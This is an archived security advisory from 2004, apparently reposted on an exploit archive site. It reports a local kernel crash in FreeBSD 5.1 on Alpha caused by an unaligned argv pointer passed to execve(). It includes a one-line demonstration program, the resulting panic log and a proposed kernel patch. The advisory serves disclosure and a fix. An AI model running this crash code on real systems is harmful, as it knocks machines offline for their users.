what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

freebsd.local.txt

freebsd.local.txt
Posted Jun 25, 2004
Authored by Marceta Milos

It is possible to crash the kernel on FreeBSD/Alpha by passing an unaligned memory address as a 2nd or 3rd argument to execve() syscall. Affected versions: FreeBSD 5.1-RELEASE/Alpha and possibly others. Not affected: FreeBSD 5.1-RELEASE/IA32.

tags | exploit, kernel
systems | freebsd
SHA-256 | a4526052ca2cb1a9ff1b6dffe4989feaa6565bda6886895d2f79921d22533f39

freebsd.local.txt

Change Mirror Download
Security Advisory : FreeBSD local DoS

Systems affected:

FreeBSD 5.1-RELEASE/Alpha. Other versions are probably vulnerable.
FreeBSD 5.1-RELEASE/IA32 is _not_ vulnerable.

Not sure about other FreeBSD/arch but they could be vulnerable too.

Risk: low

Date: 23 June 2004

Legal notice:

1. This Advisory is Copyright (c) 2004 Marceta Milos.
2. You may distribute it unmodified.
3. You may not modify it and distribute it or distribute
parts of it without the author's permission.
4. This document stays open for revision. Anything may
change without notice. For a possible update you may
visit author's homepage which should be redesigned soon.


Disclaimer:

I am not responsible for any damage caused by use
of the information provided in this document.


Description:

It is possible to crash kernel on FreeBSD/Alpha, by passing unaligned
memory address as a 2nd or 3rd argument to execve() syscall.


Condition:

To crash the system, first arg of execve() must point to accessible filename.


Demonstration code:

# cat kernkill.c

/*
* FreeBSD/Alpha local DoS
* by Marceta Milos
* root@marcetam.net
*
*/

char main() { execve("/bin/ls",(int *)(main + 1), 0); }

/* eof */

# gcc kernkill.c -okk
#./kk

fatal kernel trap:

trap entry = 0x4 (unaligned access fault)
cpuid = 0
faulting va = 0x120000891
opcode = 0x29
register = 0x0
pc = 0xfffffc0000651bf0
ra = 0xfffffc00004900e0
sp = 0xfffffe0039c3f840
usp = 0x11fffae0
curthread = 0xfffffc00620a3720

pid = 713, comm = kk

panic: trap
cpuid = 0;

syncing disks, buffers remaining... 234 234 232 232 232 232 231 232 231 231 231
231 231 231 231 231 231 231 231 231 231 231 231 231 231 231 231 231
giving up on 141 buffers
Uptime: 13m13s
Automatic reboot in 15 seconds - press a key on the console to abort
Rebooting...


Workaround:

You may make a proper use of ALIGNED_POINTER macro which already exists in
src/sys/alpha/include/param.h to check if ptrs are aligned, or make your
own like:

#define PTR_ALIGNED(x) (((x) & 0x7) == 0)

Putting the following line at the top of execve() in src/sys/kern/kern_exec.c
should prevent the crash (unfortunatly, this is not tested. Idea is mine, a
little corrected by Mr. Dag-Erling Smørgrav, FreeBSD deputy security officer):

if (!PTR_ALIGNED(uap->argv) || !PTR_ALIGNED(uap->envv))
return (EFAULT);


Vendor status: FreeBSD was notified on Sat 19/06/2004 23:50 -0000

Greets to: LSD, teso, phenoelit, synnergy, thc, netric, scut, silvio, stinger && eSDee.


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close